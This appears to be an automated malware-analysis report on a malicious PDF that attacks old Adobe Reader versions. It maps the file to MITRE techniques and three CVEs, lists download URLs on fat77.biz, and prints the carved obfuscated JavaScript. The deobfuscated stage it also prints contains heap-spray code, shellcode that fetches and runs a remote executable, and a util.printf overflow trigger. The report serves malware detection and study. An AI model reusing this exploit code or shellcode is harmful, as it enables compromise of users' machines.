MALICIOUS
606
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript attempts to download and execute a second-stage payload from the URLs http://fat77.biz/myy/dfghjksux3.exe, http://fat77.biz/myy/dins3.exe, and http://fat77.biz/myy/bcdiptyz3.exe. The ClamAV detection 'Pdf.Dropper.Agent-7685763-0' further supports its malicious nature as a dropper.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 14
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
ClamAV: Pdf.Dropper.Agent-7685763-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Dropper.Agent-7685763-0
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
for (var klqtx=0, ahijsuy='';klqtx<5304;klqtx++){ahijsuy += String.fromCharCode(fra[klqtx]-'gIVcZfd'.substring(klqtx%'gIVcZfd'.length,klqtx%'gIVcZfd'.length+1).charCodeAt(0));}eval(ahijsuy); -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://fat77.biz/myy/dfghjksux3.exe Referenced by PDF JavaScript
- http://fat77.biz/myy/dins3.exeReferenced by PDF JavaScript
- http://fat77.biz/myy/bcdiptyz3.exeReferenced by PDF JavaScript
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0013_000.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x36B | 21220 bytes |
SHA-256: 48097ef872b9eb3dc3ac06e83663127c9adff3d5fff7325207c814011293e1da |
|||
Preview scriptFirst 1,000 lines of the extracted script
var fra=[205,190,196,198,206,207,211,213,105,188,204,210,197,205,219,113,207,196,204,217,212,147,181,187,209,131,225,219,207,178,194,200,130,223,197,217,188,198,145,198,203,210,206,189,190,141,140,162,208,204,183,127,222,211,199,214,218,185,129,160,211,199,214,218,185,145,224,100,223,197,217,188,198,160,211,199,214,218,185,132,214,207,200,215,219,187,191,209,193,142,148,147,181,187,209,137,152,141,162,187,187,215,207,216,210,135,194,183,213,205,214,159,228,83,188,216,200,201,216,208,184,196,131,207,218,205,211,168,198,213,195,212,216,205,113,127,222,208,199,214,135,185,183,220,198,213,197,203,134,203,209,191,217,199,200,185,187,139,124,139,217,157,125,143,147,127,219,149,159,138,135,136,207,150,148,151,121,123,216,146,168,148,151,110,203,150,138,154,148,140,190,138,147,146,168,137,220,129,152,152,142,139,217,151,125,138,147,127,219,152,151,129,152,136,207,158,166,151,125,123,216,138,154,152,151,110,203,149,138,150,168,140,190,136,147,138,150,137,220,124,154,147,138,139,217,151,121,141,166,127,219,148,151,128,141,136,207,150,149,158,125,123,216,141,153,167,154,110,203,153,142,169,148,140,190,138,147,146,168,137,220,128,142,150,138,139,217,159,139,134,166,127,219,148,170,125,134,136,207,157,148,159,139,123,216,155,170,149,170,110,203,152,146,158,166,140,190,155,165,138,158,137,220,129,152,147,147,139,217,154,125,138,147,127,219,152,151,129,154,136,207,158,166,158,140,123,216,141,169,153,159,110,203,151,142,156,165,140,190,154,148,143,167,137,220,123,152,168,140,139,217,159,139,155,149,127,219,169,169,142,153,136,207,155,165,155,143,123,216,146,153,153,153,110,203,152,144,171,165,140,190,139,152,146,159,137,220,126,140,147,142,139,217,159,139,139,154,127,219,151,170,128,137,136,207,157,152,159,139,123,216,145,158,151,154,110,203,169,141,150,151,140,190,142,165,143,156,137,220,123,134,154,144,139,217,173,124,134,150,127,219,167,160,124,137,136,207,155,148,155,130,123,216,155,170,152,152,110,203,169,160,153,151,140,190,134,169,141,156,137,220,122,138,165,159,139,217,154,129,134,150,127,219,155,155,143,136,136,207,169,149,151,129,123,216,138,170,167,173,110,203,169,155,150,151,140,190,155,165,142,150,137,220,126,142,168,160,139,217,173,129,137,165,127,219,169,156,128,139,136,207,158,166,156,142,123,216,140,154,152,157,110,203,166,141,150,151,140,190,142,165,144,156,137,220,125,142,147,157,139,217,156,127,142,165,127,219,148,154,122,153,136,207,158,166,171,124,123,216,146,167,148,155,110,203,166,141,150,151,140,190,139,168,143,172,137,220,140,137,152,138,139,217,158,141,142,167,127,219,153,158,121,142,136,207,168,156,156,123,123,216,157,167,151,154,110,203,152,156,158,165,140,190,151,149,159,158,137,220,143,156,169,160,139,217,154,123,156,169,127,219,156,169,140,134,136,207,172,150,173,128,123,216,142,172,165,172,110,203,154,143,168,156,140,190,140,152,140,171,137,220,138,152,154,146,139,217,160,129,140,153,127,219,165,169,127,140,136,207,169,148,154,124,123,216,144,151,166,159,110,203,147,138,156,152,140,190,139,147,138,150,137,220,126,138,153,146,139,217,158,123,140,155,127,219,151,156,127,139,136,207,151,167,153,125,123,216,145,154,154,160,110,203,152,142,155,148,140,190,152,155,143,153,137,220,143,153,164,155,139,217,158,140,134,167,127,219,153,156,143,156,136,207,158,166,151,125,123,216,146,153,170,159,110,203,147,157,169,152,140,190,140,166,156,150,137,220,142,134,155,155,139,217,156,121,143,155,127,219,154,173,127,142,136,207,152,169,157,142,123,216,144,158,154,155,110,203,154,140,157,153,140,190,140,167,144,169,137,220,139,142,152,142,139,217,155,142,142,168,127,219,169,170,121,155,136,207,155,153,173,143,123,216,147,153,148,155,110,203,150,141,155,148,140,190,139,147,157,150,137,220,126,140,152,138,139,217,156,126,142,165,127,219,156,154,121,138,136,207,157,170,170,123,123,216,157,152,156,154,110,203,152,140,154,167,140,190,152,155,143,150,137,220,122,151,150,144,139,217,158,121,136,169,127,219,153,156,143,156,136,207,155,166,151,125,123,216,143,156,153,158,110,203,156,146,168,156,140,190,142,164,160,171,137,220,143,156,147,159,139,217,151,125,139,152,127,219,148,151,127,151,136,207,170,155,173,143,123,216,145,154,154,159,110,203,154,138,157,152,140,190,136,169,141,167,137,220,127,140,149,160,139,217,158,125,140,148,127,219,151,158,124,141,136,207,156,150,153,142,123,216,145,167,154,160,110,203,153,158,152,170,140,190,141,156,145,159,137,220,127,138,149,160,139,217,157,128,140,153,127,219,154,168,127,142,136,207,157,151,157,139,123,216,145,158,155,156,110,203,149,159,153,151,140,190,141,155,144,155,137,220,121,134,153,143,136,141,162,191,183,213,122,212,211,215,134,203,209,191,217,199,200,185,187,139,124,139,217,151,138,134,164,127,219,148,168,121,151,136,207,150,165,151,138,123,216,138,167,148,168,107,127,109,208,199,214,135,177,187,196,202,200,208,214,172,193,160,200,213,212,146,185,183,220,198,213,197,203,132,204,196,204,134,198,208,176,184,207,201,201,207,164,190,196,200,205,201,197,215,174,126,133,127,219,148,168,121,151,136,207,150,165,151,138,120,140,149,220,197,217,105,190,200,187,202,201,217,188,191,221,191,163,150,151,132,204,196,204,134,215,215,187,183,220,151,206,201,200,173,187,213,205,207,222,204,116,190,200,187,214,198,211,184,185,206,136,210,201,213,176,202,203,149,221,204,208,181,187,139,188,207,203,201,181,197,198,197,148,208,204,183,189,215,194,162,215,215,187,183,220,131,225,198,208,176,184,207,201,201,207,146,134,184,204,193,200,208,214,172,193,158,215,112,218,200,187,118,201,195,210,208,201,181,197,198,197,163,198,208,176,184,207,201,201,207,149,188,203,197,205,218,214,208,183,189,139,138,146,215,215,187,183,220,131,161,218,200,187,118,197,198,213,199,210,134,184,204,193,200,208,214,172,193,145,205,219,198,218,189,200,204,200,205,140,151,117,184,204,193,200,208,214,172,193,145,198,203,210,206,189,190,144,205,214,214,200,194,127,158,209,206,205,211,174,126,197,198,213,199,210,119,194,200,200,205,216,207,116,201,211,204,199,221,163,121,206,151,138,150,148,151,114,209,197,198,213,199,210,134,184,207,201,201,207,146,171,194,210,189,209,143,205,178,194,207,188,210,211,202,180,145,224,100,220,197,217,105,195,200,199,197,197,217,187,183,220,151,212,201,222,105,151,213,204,199,221,143,114,145,201,201,216,140,221,170,200,131,195,163,148,162,178,146,148,142,150,148,162,178,129,142,131,225,209,204,182,181,196,204,216,197,224,164,191,192,151,200,208,214,172,193,142,194,203,197,215,171,194,210,189,209,159,228,83,204,196,204,134,210,220,182,147,148,140,159,157,160,130,143,156,147,159,157,160,130,143,156,147,159,157,160,130,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,161,217,219,178,194,145,202,216,205,213,189,188,139,124,139,152,156,121,134,147,192,136,144,213,190,195,140,149,227,110,205,190,196,198,206,207,211,213,105,185,210,198,210,197,201,168,187,208,187,207,208,143,114,209,217,187,216,132,218,177,187,207,198,201,211,203,174,147,216,200,203,215,202,170,198,200,130,136,137,220,127,138,156,138,139,217,152,129,151,148,127,219,148,151,121,134,136,207,158,166,151,121,123,216,141,150,152,151,110,203,151,138,158,166,140,190,142,165,143,154,137,220,121,138,151,138,139,217,155,121,142,165,127,219,156,169,121,138,136,207,150,152,155,121,123,216,140,150,148,171,110,203,149,138,150,148,140,190,137,167,138,150,137,220,121,134,154,157,139,217,151,121,141,154,127,219,148,152,128,138,136,207,153,151,170,124,123,216,144,154,167,151,110,203,151,138,158,166,140,190,141,155,141,150,137,220,129,152,147,157,139,217,151,140,138,147,127,219,155,151,129,152,136,207,167,168,152,140,123,216,143,158,156,169,110,203,168,156,150,156,140,190,142,165,138,159,137,220,124,138,151,138,139,217,155,121,142,167,127,219,156,169,128,153,136,207,153,167,156,129,123,216,142,154,154,168,110,203,167,139,155,165,140,190,136,165,159,152,137,220,129,152,168,140,139,217,172,139,155,166,127,219,153,168,125,156,136,207,158,151,156,123,123,216,143,156,169,168,110,203,152,143,158,157,140,190,139,153,138,154,137,220,129,152,152,145,139,217,154,140,141,150,127,219,155,155,129,152,136,207,157,156,154,124,123,216,160,153,148,154,110,203,155,156,155,154,140,190,136,147,145,156,137,220,143,137,147,141,139,217,170,130,137,150,127,219,153,151,125,143,136,207,167,168,155,122,123,216,160,172,151,154,110,203,147,160,153,154,140,190,135,151,156,171,137,220,124,142,147,141,139,217,158,125,156,149,127,219,167,152,121,142,136,207,150,168,170,143,123,216,160,167,148,154,110,203,168,156,154,148,140,190,139,155,159,172,137,220,143,142,150,156,139,217,172,126,141,152,127,219,156,169,126,155,136,207,152,152,155,127,123,216,157,153,148,154,110,203,155,156,156,154,140,190,138,155,138,169,137,220,126,140,155,156,139,217,151,124,135,166,127,219,156,169,141,137,136,207,158,165,151,125,123,216,157,153,148,154,110,203,152,159,155,170,140,190,153,150,143,150,137,220,128,154,155,158,139,217,156,128,134,155,127,219,166,159,126,136,136,207,169,165,154,124,123,216,143,168,156,168,110,203,164,140,171,156,140,190,156,169,160,172,137,220,124,136,169,160,139,217,159,139,153,147,127,219,170,153,143,141,136,207,154,170,168,142,123,216,145,155,166,159,110,203,153,143,152,169,140,190,151,165,145,158,137,220,130,142,153,144,139,217,168,139,140,153,127,219,167,151,124,137,136,207,156,149,169,129,123,216,138,150,154,155,110,203,152,138,150,148,140,190,139,151,144,158,137,220,128,136,153,146,139,217,154,126,140,152,127,219,149,170,123,138,136,207,157,152,157,130,123,216,143,154,153,151,110,203,165,146,155,151,140,190,156,166,155,167,137,220,128,153,147,158,139,217,156,126,156,169,127,219,156,169,121,138,136,207,158,151,173,129,123,216,138,169,167,155,110,203,153,157,168,148,140,190,155,147,146,167,137,220,126,134,156,146,139,217,157,143,140,155,127,219,150,172,127,155,136,207,156,156,157,125,123,216,145,152,155,156,110,203,153,158,156,167,140,190,152,155,143,154,137,220,125,155,155,159,139,217,172,140,134,168,127,219,153,156,143,156,136,207,159,151,151,125,123,216,141,153,153,151,110,203,152,138,169,148,140,190,139,153,143,150,137,220,126,139,155,156,139,217,159,124,134,151,127,219,155,173,140,136,136,207,169,150,159,124,123,216,143,152,152,170,110,203,165,146,155,148,140,190,135,164,141,156,137,220,128,134,149,160,139,217,156,126,156,169,127,219,153,169,121,138,136,207,155,154,156,128,123,216,147,158,166,159,110,203,155,155,172,169,140,190,156,169,138,171,137,220,121,138,152,143,139,217,151,121,140,164,127,219,168,158,143,156,136,207,157,152,157,129,123,216,145,150,155,155,110,203,149,160,153,165,140,190,140,153,140,172,137,220,128,138,153,139,139,217,154,128,137,154,127,219,154,153,123,155,136,207,157,165,157,130,123,216,144,170,150,173,110,203,154,147,157,157,140,190,140,151,140,172,137,220,127,155,153,147,139,217,154,124,141,150,127,219,154,156,123,155,136,207,156,153,158,129,123,216,138,150,148,151,107,127,158,208,199,214,135,182,187,208,185,199,214,217,170,207,160,200,203,219,135,138,200,213,187,223,140,144,132,204,196,204,134,199,202,134,134,219,138,201,148,202,121,185,147,189,161,218,200,187,118,196,190,202,214,164,121,206,151,138,150,148,151,121,145,217,187,216,132,218,172,181,207,191,212,161,218,177,187,207,198,201,211,203,174,132,207,191,212,203,219,177,128,149,149,220,197,217,105,194,200,200,163,197,203,173,200,144,130,217,199,198,181,187,209,133,150,220,154,129,127,158,208,199,214,135,194,183,213,205,214,161,220,183,187,214,189,199,212,204,113,120,136,207,159,148,160,121,123,216,147,150,157,151,107,127,158,211,199,214,218,185,147,201,195,222,195,208,189,126,220,187,216,215,215,117,194,200,200,143,159,221,170,200,131,189,213,217,213,189,136,160,130,201,199,148,121,206,151,138,150,148,151,121,127,146,187,202,200,217,132,188,210,204,142,218,200,187,118,198,201,219,210,219,134,134,158,189,213,217,213,189,146,198,201,219,210,219,123,145,198,201,219,210,219,116,129,140,213,211,201,212,168,183,213,204,199,221,194,172,197,216,200,218,193,164,194,183,213,205,214,143,218,177,187,207,198,201,211,203,174,145,224,100,220,197,217,105,197,217,191,216,202,211,184,205,160,207,212,201,218,172,183,211,191,142,134,140,190,134,198,138,201,137,220,121,185,147,189,136,141,162,192,190,204,198,203,140,214,191,187,213,192,210,211,222,119,194,200,200,205,216,207,133,138,151,147,155,150,144,196,197,217,191,216,202,211,184,205,142,151,213,218,204,187,188,207,201,221,159,228,83,202,203,195,217,146,202,184,194,207,187,200,183,219,184,200,200,151,169,211,211,181,183,197,136,201,211,211,181,187,198,206,171,209,200,178,194,172,200,204,211,143,196,201,216,188,208,158,137,107,130,208,205,205,158,214,191,187,213,192,210,211,222,198,127,158,215,112,202,220,183,185,215,195,213,210,135,172,197,207,198,199,198,198,176,187,215,195,201,211,213,113,127,222,195,204,140,200,185,198,145,190,213,199,149,140,197,207,198,199,198,149,176,187,215,163,201,211,213,114,209,217,187,216,132,200,187,200,220,151,212,201,222,105,151,213,204,199,221,143,114,145,217,187,216,132,221,191,198,200,206,206,221,200,134,203,209,191,217,199,200,185,187,139,124,139,217,157,125,143,147,127,219,149,159,138,135,136,207,150,148,151,121,123,216,146,168,148,151,110,203,150,138,154,148,140,190,138,147,146,168,137,220,129,152,152,142,139,217,151,125,138,147,127,219,152,151,129,152,136,207,158,166,151,125,123,216,138,154,152,151,110,203,149,138,150,168,140,190,136,147,138,150,137,220,124,154,147,138,139,217,151,121,141,166,127,219,148,151,128,141,136,207,150,149,158,125,123,216,141,153,167,154,110,203,153,142,169,148,140,190,138,147,146,168,137,220,128,142,150,138,139,217,159,139,134,166,127,219,148,170,125,134,136,207,157,148,159,139,123,216,155,170,149,170,110,203,152,146,158,166,140,190,155,165,138,158,137,220,129,152,147,147,139,217,154,125,138,147,127,219,152,151,129,154,136,207,158,166,158,140,123,216,141,169,153,159,110,203,151,142,156,165,140,190,154,148,143,167,137,220,123,152,168,140,139,217,159,139,155,149,127,219,169,169,142,153,136,207,155,165,155,143,123,216,146,153,153,153,110,203,152,144,171,165,140,190,139,152,146,159,137,220,126,140,147,142,139,217,159,139,139,154,127,219,151,170,128,137,136,207,157,152,159,139,123,216,145,158,151,154,110,203,169,141,150,151,140,190,142,165,143,156,137,220,123,134,154,144,139,217,173,124,134,150,127,219,167,160,124,137,136,207,155,148,155,130,123,216,155,170,152,152,110,203,169,160,153,151,140,190,134,169,141,156,137,220,122,138,165,159,139,217,154,129,134,150,127,219,155,155,143,136,136,207,169,149,151,129,123,216,138,170,167,173,110,203,169,155,150,151,140,190,155,165,142,150,137,220,126,142,168,160,139,217,173,129,137,165,127,219,169,156,128,139,136,207,158,166,156,142,123,216,140,154,152,157,110,203,166,141,150,151,140,190,142,165,144,156,137,220,125,142,147,157,139,217,156,127,142,165,127,219,148,154,122,153,136,207,158,166,171,124,123,216,146,167,148,155,110,203,166,141,150,151,140,190,139,168,143,172,137,220,140,137,152,138,139,217,158,141,142,167,127,219,153,158,121,142,136,207,168,156,156,123,123,216,157,167,151,154,110,203,152,156,158,165,140,190,151,149,159,158,137,220,143,156,169,160,139,217,154,123,156,169,127,219,156,169,140,134,136,207,172,150,173,128,123,216,142,172,165,172,110,203,154,143,168,156,140,190,140,152,140,171,137,220,138,152,154,146,139,217,160,129,140,153,127,219,165,169,127,140,136,207,169,148,154,124,123,216,144,151,166,159,110,203,147,138,156,152,140,190,139,147,138,150,137,220,126,138,153,146,139,217,158,123,140,155,127,219,151,156,127,139,136,207,151,167,153,125,123,216,145,154,154,160,110,203,152,142,155,148,140,190,152,155,143,153,137,220,143,153,164,155,139,217,158,140,134,167,127,219,153,156,143,156,136,207,158,166,151,125,123,216,146,153,170,159,110,203,147,157,169,152,140,190,140,166,156,150,137,220,142,134,155,155,139,217,156,121,143,155,127,219,154,173,127,142,136,207,152,169,157,142,123,216,144,158,154,155,110,203,154,140,157,153,140,190,140,167,144,169,137,220,139,142,152,142,139,217,155,142,142,168,127,219,169,170,121,155,136,207,155,153,173,143,123,216,147,153,148,155,110,203,150,141,155,148,140,190,139,147,157,150,137,220,126,140,152,138,139,217,156,126,142,165,127,219,156,154,121,138,136,207,157,170,170,123,123,216,157,152,156,154,110,203,152,140,154,167,140,190,152,155,143,150,137,220,122,151,150,144,139,217,158,121,136,169,127,219,153,156,143,156,136,207,155,166,151,125,123,216,143,156,153,158,110,203,156,146,168,156,140,190,142,164,160,171,137,220,143,156,147,159,139,217,151,125,139,152,127,219,148,151,127,151,136,207,170,155,173,143,123,216,145,154,154,159,110,203,154,138,157,152,140,190,136,169,141,167,137,220,127,140,149,160,139,217,158,125,140,148,127,219,151,158,124,141,136,207,156,150,153,142,123,216,145,167,154,160,110,203,153,158,152,170,140,190,141,156,145,159,137,220,127,136,149,160,139,217,157,125,140,150,127,219,155,151,127,143,136,207,157,157,158,125,123,216,141,153,155,168,110,203,153,143,152,169,140,190,140,152,145,158,137,220,121,134,147,138,136,141,162,191,183,213,122,206,187,216,126,134,147,157,180,161,221,191,198,200,206,206,221,200,119,194,200,200,205,216,207,115,136,158,208,199,214,135,181,187,209,151,150,220,155,121,134,147,138,150,145,143,177,173,212,143,150,148,170,151,129,147,210,153,156,144,132,204,196,204,134,221,200,187,201,211,151,219,210,204,188,185,196,202,203,140,137,110,203,156,138,159,148,140,190,143,147,147,150,134,144,132,207,196,204,217,212,164,175,191,219,185,207,216,143,194,183,213,205,214,144,211,174,196,140,149,220,197,217,105,198,152,155,208,175,157,126,188,160,130,150,220,151,172,134,198,138,201,148,202,118,134,219,142,150,148,151,121,134,140,137,150,220,155,121,134,147,138,150,159,205,184,200,139,208,199,214,135,191,199,198,171,170,157,157,194,147,147,149,220,213,202,154,154,156,144,223,160,215,126,151,205,165,156,153,205,132,204,212,189,183,168,160,127,207,142,133,143,223,200,187,200,220,181,220,213,202,154,154,156,144,223,193,164,194,183,213,205,214,143,221,191,198,200,206,206,221,200,132,211,109,208,199,214,135,189,171,176,194,180,198,174,192,147,216,200,203,215,202,170,198,200,130,136,137,151,130,120,140,149,221,204,208,181,187,139,206,187,177,207,151,184,170,209,148,208,204,183,189,215,194,162,148,223,125,134,147,138,143,223,219,158,163,203,168,200,171,222,116,147,215,175,179,204,181,171,157,218,149,227,110,219,158,163,203,168,200,171,222,134,120,177,136,136,143,219,158,163,203,168,200,171,222,132,183,211,202,148,200,214,172,132,166,201,210,208,200,171,132,202,191,218,173,202,184,196,139,206,187,177,207,151,184,170,209,143,159,228,198,96,201,207,212,199,219,178,197,209,122,214,200,205,168,201,215,187,216,216,143,114,209,217,187,216,132,221,174,200,214,195,213,210,164,170,198,211,136,220,205,204,192,187,213,176,203,214,218,178,197,209,136,218,211,186,189,200,204,200,205,140,144,132,204,200,204,217,205,214,183,147,217,191,216,215,208,184,196,145,204,203,212,211,170,185,200,130,149,192,171,120,189,143,129,141,141,162,191,183,213,122,220,197,217,188,191,210,200,197,197,217,187,183,220,151,212,201,222,105,151,213,204,199,221,143,191,187,213,205,207,211,213,119,185,203,187,216,165,219,113,134,140,134,220,201,217,188,191,210,200,148,199,207,170,200,164,206,142,149,144,117,204,200,204,217,205,214,183,132,198,194,199,214,168,189,126,149,131,143,159,208,175,126,139,208,199,214,218,178,197,209,185,199,214,217,170,207,190,138,195,161,164,129,127,137,128,142,218,200,187,201,204,201,212,195,200,187,200,196,211,193,149,196,134,147,147,131,226,224,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,122,179,160,151,151,138,141,191,183,213,205,207,211,213,168,183,213,204,199,221,194,123,179,159,141,143,141,226,190,202,204,198,197,212,217,178,196,215,192,142,141,162,198,96,204,192,142,140,221,170,200,214,195,213,210,198,170,200,213,187,223,191,151,166,146,155,131,226,224,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,121,179,160,151,158,138,141,191,183,213,205,207,211,213,168,183,213,204,199,221,194,122,179,159,140,140,138,221,170,200,214,195,213,210,198,170,200,213,187,223,191,153,166,146,149,131,143,223,202,184,194,207,187,200,195,204,182,183,204,198,142,141,162,198,96,204,192,142,140,221,170,200,214,195,213,210,198,170,200,213,187,223,191,151,166,146,156,131,226,224,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,121,179,160,151,159,138,141,191,183,213,205,207,211,213,168,183,213,204,199,221,194,122,179,159,139,143,141,226,172,197,207,198,199,198,198,176,187,215,195,201,211,213,113,127,158,215,227,110,215,173,188,194,205,218,197,217,189,126,140,149]; |
|||
javascript_obj0015_001.js |
pdf-javascript-stream | PDF /JS object 15 at offset 0x17B8 | 190 bytes |
SHA-256: 84891a76845760f0703e1082689b2a08e3c57c8263f6dc7f37647200f0043eb8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
for (var klqtx=0, ahijsuy='';klqtx<5304;klqtx++){ahijsuy += String.fromCharCode(fra[klqtx]-'gIVcZfd'.substring(klqtx%'gIVcZfd'.length,klqtx%'gIVcZfd'.length+1).charCodeAt(0));}eval(ahijsuy);
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B | 5304 bytes |
SHA-256: 544822f4ea7070aedc4055e9ab56c218e95609d2d1e31a520b4c84d7b5a4ee4c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u642F%u6766%u6A68%u736B%u7875%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
